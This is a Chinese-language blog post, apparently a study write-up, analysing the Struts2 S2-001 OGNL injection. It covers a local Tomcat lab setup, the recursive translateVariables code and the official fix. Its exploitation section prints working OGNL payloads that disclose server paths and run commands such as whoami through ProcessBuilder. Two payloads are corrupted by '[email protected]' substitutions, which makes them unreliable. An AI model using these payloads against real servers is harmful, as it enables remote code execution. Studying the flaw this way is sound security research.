1. 程式人生 > 實用技巧 >S2-001漏洞分析

S2-001漏洞分析

前言

開始好好學Java,跟著師傅們的文章走一遍

Strust簡介

Struts2是流行和成熟的基於MVC設計模式的Web應用程式框架。 Struts2不只是Struts1下一個版本,它是一個完全重寫的Struts架構。

工作流程:

漏洞復現

漏洞簡介

漏洞詳情:
https://cwiki.apache.org/confluence/display/WW/S2-001

由於OGNL表示式的遞迴執行,造成了命令執行

環境搭建

mac下直接brew install tomcat
catalina run啟動tomcat
brew services start tomcat後臺啟動服務

  • Apache Tomcat/8.5.53
  • IntelliJ IDEA

建好後從http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip中下載struts2的jar包
匯入專案所需的包File->Project Structure

然後搭建環境,專案結構如圖

src下新建struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="S2-001" extends="struts-default">
        <action name="login" class="com.demo.action.LoginAction">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>

修改web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
    <display-name>S2-001 Example</display-name>
    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>
</web-app>

index.jsp

<%--
  Created by IntelliJ IDEA.
  User: twosmi1e
  Date: 2020/11/19
  Time: 2:25 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
  <s:textfield name="username" label="username" />
  <s:textfield name="password" label="password" />
  <s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

<%--
  Created by IntelliJ IDEA.
  User: twosmi1e
  Date: 2020/11/19
  Time: 3:09 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

在src下新建名為com.demo.action的package
LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

然後點選Build->Build Project
配置好tomcat,
homebrew安裝的tomcat home:/usr/local/Cellar/tomcat/9.0.33/libexec

run起來會看到如下畫面

漏洞利用

點選submit後 ognl表示式會解析執行 返回2

獲取tomcat路徑

%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}

獲取web路徑

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

命令執行

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

OGNL表示式

OGNL是Object Graphic Navigation Language(物件圖導航語言)的縮寫,它是一種功能強大的表示式語言,使用它可以存取物件的任意屬性,呼叫物件的方法,使用OGNL表示式的主要作用是簡化訪問物件中的屬性值,Struts 2的標籤中使用的就是OGNL表示式。

OGNL三要素

  • 表示式(expression):表示式是整個OGNL的核心,通過表示式來告訴OGNL需要執行什麼操作;
  • 根物件(root):root可以理解為OGNL的操作物件,OGNL可以對root進行取值或寫值等操作,表示式規定了“做什麼”,而根物件則規定了“對誰操作”。實際上根物件所在的環境就是 OGNL 的上下文物件環境;
  • 上下文物件(context):context可以理解為物件執行的上下文環境,context以MAP的結構、利用鍵值對關係來描述物件中的屬性以及值;

表示式功能操作清單:

  1. 基本物件樹的訪問
    物件樹的訪問就是通過使用點號將物件的引用串聯起來進行。
    例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
  1. 對容器變數的訪問
    對容器變數的訪問,通過#符號加上表達式進行。
    例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
  1. 使用操作符號
    OGNL表示式中能使用的操作符基本跟Java裡的操作符一樣,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,還能使用 mod, in, not in等。
  1. 容器、陣列、物件
    OGNL支援對陣列和ArrayList等容器的順序訪問:例如:group.users[0]
    同時,OGNL支援對Map的按鍵值查詢:
    例如:#session['mySessionPropKey']
    不僅如此,OGNL還支援容器的構造的表示式:
    例如:{"green", "red", "blue"}構造一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}構造一個Map
    你也可以通過任意類物件的建構函式進行物件新建
    例如:new Java.net.URL("xxxxxx/")
  1. 對靜態方法或變數的訪問
    要引用類的靜態方法和欄位,他們的表達方式是一樣的@class@member或者@class@method(args):
  1. 方法呼叫
    直接通過類似Java的方法呼叫方式進行,你甚至可以傳遞引數:
    例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
  1. 投影和選擇
    OGNL支援類似資料庫中的投影(projection) 和選擇(selection)。
    投影就是選出集合中每個元素的相同屬性組成新的集合,類似於關係資料庫的欄位操作。投影操作語法為 collection.{XXX},其中XXX 是這個集合中每個元素的公共屬性。
    例如:group.userList.{username}將獲得某個group中的所有user的name的列表。
    選擇就是過濾滿足selection 條件的集合元素,類似於關係資料庫的紀錄操作。選擇操作的語法為:collection.{X YYY},其中X 是一個選擇操作符,後面則是選擇用的邏輯表示式。而選擇操作符有三種:
    ? 選擇滿足條件的所有元素
    ^ 選擇滿足條件的第一個元素
    $ 選擇滿足條件的最後一個元素
    例如:group.userList.{? #txxx.xxx != null}將獲得某個group中user的name不為空的user的列表。

表示式注入總結By mi1k7ea.

漏洞分析

由上圖工作流程我們可以看到,當一個 HTTP 請求被 Struts2 處理時,會經過一系列的 攔截器(Interceptor) ,這些攔截器可以是 Struts2 自帶的,也可以是使用者自定義的。例如下圖 struts.xml 中的 package 繼承自 struts-default ,而 struts-default 就使用了 Struts2 自帶的攔截器。

找到預設使用的攔截器棧

在攔截器棧 defaultStack 中,我們需要關注 params 這個攔截器。其中, params攔截器 會將客戶端請求資料設定到 值棧(valueStack) 中,後續 JSP 頁面中所有的動態資料都將從值棧中取出。

在經過一系列的攔截器處理後,資料會成功進入實際業務 Action 。程式會根據 Action 處理的結果,選擇對應的 JSP 檢視進行展示,並對檢視中的 Struts2 標籤進行處理。如下圖,在本例中 Action 處理使用者登入失敗時會返回 error 。

然後到/com/opensymphony/xwork2/DefaultActionInvocation.class:253

繼續跟,主要問題在translateVariables這個函式裡

/**
  * Converted object from variable translation.
  *
  * @param open
  * @param expression
  * @param stack
  * @param asType
  * @param evaluator
  * @return Converted object from variable translation.
  */
 public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
     // deal with the "pure" expressions first!
     //expression = expression.trim();
     Object result = expression;

     while (true) {
         int start = expression.indexOf(open + "{");
         int length = expression.length();
         int x = start + 2;
         int end;
         char c;
         int count = 1;
         while (start != -1 && x < length && count != 0) {
             c = expression.charAt(x++);
             if (c == '{') {
                 count++;
             } else if (c == '}') {
                 count--;
             }
         }
         end = x - 1;

         if ((start != -1) && (end != -1) && (count == 0)) {
             String var = expression.substring(start + 2, end);

             Object o = stack.findValue(var, asType);
             if (evaluator != null) {
             	o = evaluator.evaluate(o);
             }
             

             String left = expression.substring(0, start);
             String right = expression.substring(end + 1);
             if (o != null) {
                 if (TextUtils.stringSet(left)) {
                     result = left + o;
                 } else {
                     result = o;
                 }

                 if (TextUtils.stringSet(right)) {
                     result = result + right;
                 }

                 expression = left + o + right;
             } else {
                 // the variable doesn't exist, so don't display anything
                 result = left + right;
                 expression = left + right;
             }
         } else {
             break;
         }
     }

     return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
 }

第一次執行的時候 會取出%{username}的值,即%{1+1}
通過if ((start != -1) && (end != -1) && (count == 0))的判斷,跳過return

通過Object o = stack.findValue(var, asType);把值賦給o

然後賦值給expression,進行下一次迴圈

第二次迴圈會執行我們構造的OGNL表示式
可以看到執行後結果為2

然後再次迴圈,經過if判斷過後return

後面經過處理後返回index.jsp

漏洞成因呢就是在translateVariables函式中遞迴來驗證OGNL表示式,造成了OGNL表示式的執行

漏洞修復

官方修復程式碼

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
    // deal with the "pure" expressions first!
    //expression = expression.trim();
    Object result = expression;
    int loopCount = 1;
    int pos = 0;
    while (true) {

        int start = expression.indexOf(open + "{", pos);
        if (start == -1) {
            pos = 0;
            loopCount++;
            start = expression.indexOf(open + "{");
        }
        if (loopCount > maxLoopCount) {
            // translateVariables prevent infinite loop / expression recursive evaluation
            break;
        }
        int length = expression.length();
        int x = start + 2;
        int end;
        char c;
        int count = 1;
        while (start != -1 && x < length && count != 0) {
            c = expression.charAt(x++);
            if (c == '{') {
                count++;
            } else if (c == '}') {
                count--;
            }
        }
        end = x - 1;

        if ((start != -1) && (end != -1) && (count == 0)) {
            String var = expression.substring(start + 2, end);

            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }


            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            String middle = null;
            if (o != null) {
                middle = o.toString();
                if (!TextUtils.stringSet(left)) {
                    result = o;
                } else {
                    result = left + middle;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + middle + right;
            } else {
                // the variable doesn't exist, so don't display anything
                result = left + right;
                expression = left + right;
            }
            pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
                  (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
                  1;
            pos = Math.max(pos, 1);
        } else {
            break;
        }
    }

    return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

可以看到增加了對OGNL遞迴解析次數的判斷,預設情況下只會解析第一層

if (loopCount > maxLoopCount) {
    // translateVariables prevent infinite loop / expression recursive evaluation
    break;
}

總結

入門找了S2-001跟著師傅們的文章學習了一下,原理還是很簡單,就是除錯java過程很費時間。

參考

https://mochazz.github.io/2020/06/16/Java程式碼審計之Struts2-001/#漏洞分析
https://xz.aliyun.com/t/2672
https://xz.aliyun.com/t/2044